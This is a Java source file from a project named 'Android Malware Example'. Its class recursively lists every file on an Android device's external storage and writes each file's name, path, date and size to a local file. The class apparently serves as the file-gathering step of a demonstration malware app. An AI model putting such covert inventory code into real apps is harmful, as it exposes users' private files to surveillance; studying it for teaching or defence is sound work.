/*
 * Copyright (c) 2016. Darryl Burke - Burke Consulting
 *
 * This file is part of Android Malware Example.
 *
 *     Android Malware Example is free software: you can redistribute it and/or modify
 *     it under the terms of the GNU General Public License as published by
 *     the Free Software Foundation, either version 3 of the License, or
 *     (at your option) any later version.
 *
 *     Android Malware Example is distributed in the hope that it will be useful,
 *     but WITHOUT ANY WARRANTY; without even the implied warranty of
 *     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *     GNU General Public License for more details.
 *
 *     You should have received a copy of the GNU General Public License
 *     along with Android Malware Example.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

package com.burke_consulting.malwareexample;

import android.content.Context;
import android.os.Environment;
import android.util.Log;

import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.util.ArrayList;
import java.util.Date;
import java.util.Hashtable;
import java.util.List;

/**
 * Created by darrylb on 10/2/16.
 */
public class ListSDFiles {

    ConfigParams configParams;
    Context context;
    String root_sd = Environment.getExternalStorageDirectory().toString();

    private File file;
    private List<String> myFileList;
    private Hashtable myFileDetails;

    final String state = Environment.getExternalStorageState();

    public ListSDFiles(Context _context){
        context = _context;
        configParams = new ConfigParams(context);
        myFileList = new ArrayList<String>();
        myFileDetails = new Hashtable<String, File>();


    }
    public List<String> getAllFiles() {


        if ( Environment.MEDIA_MOUNTED.equals(state) || Environment.MEDIA_MOUNTED_READ_ONLY.equals(state) ) {  // we can read the External Storage...
            getAllFilesOfDir(Environment.getExternalStorageDirectory());
        }
        return myFileList;

    }
    private void getAllFilesOfDir(File directory) {
        if (configParams.Logging)  Log.d(configParams.PROGID, "Directory: " + directory.getAbsolutePath() + "\n");

        final File[] files = directory.listFiles();

        if ( files != null ) {
            for ( File file : files ) {
                if ( file != null ) {
                    if ( file.isDirectory() ) {  // it is a folder...
                        getAllFilesOfDir(file);
                    }
                    else {  // it is a file...
                        Log.d(configParams.PROGID, "File: " + file.getAbsolutePath() + "\n");
                        myFileList.add(file.getAbsolutePath());
                        myFileDetails.put(file.getAbsolutePath(),file);
                    }
                }
            }
        }
    }
    private File getFileDetails(String path){
        File file = new File(path);
        return file;
    }
    public void SaveToFile(String _file){

        BufferedWriter out;
        File fpath = configParams.StoragePath;
        try {

            FileWriter fileWriter = new FileWriter(fpath + "/" + _file);

            out = new BufferedWriter(fileWriter);

            for (int i = 0; i < myFileList.size(); i++) {
                String path = myFileList.get(i);
                File file = (File) myFileDetails.get(path);
                Date lastModDate = new Date(file.lastModified());
                String _details = file.getName()+", "+file.getAbsolutePath() + ", " + lastModDate.toString() + ", " + file.length()+System.getProperty("line.separator");
                out.write(_details);
            }

            out.close();
        }
        catch (IOException e) {
            if (configParams.Logging)   Log.e("Exception", "File write failed: " + e.toString());
        }

    }
}
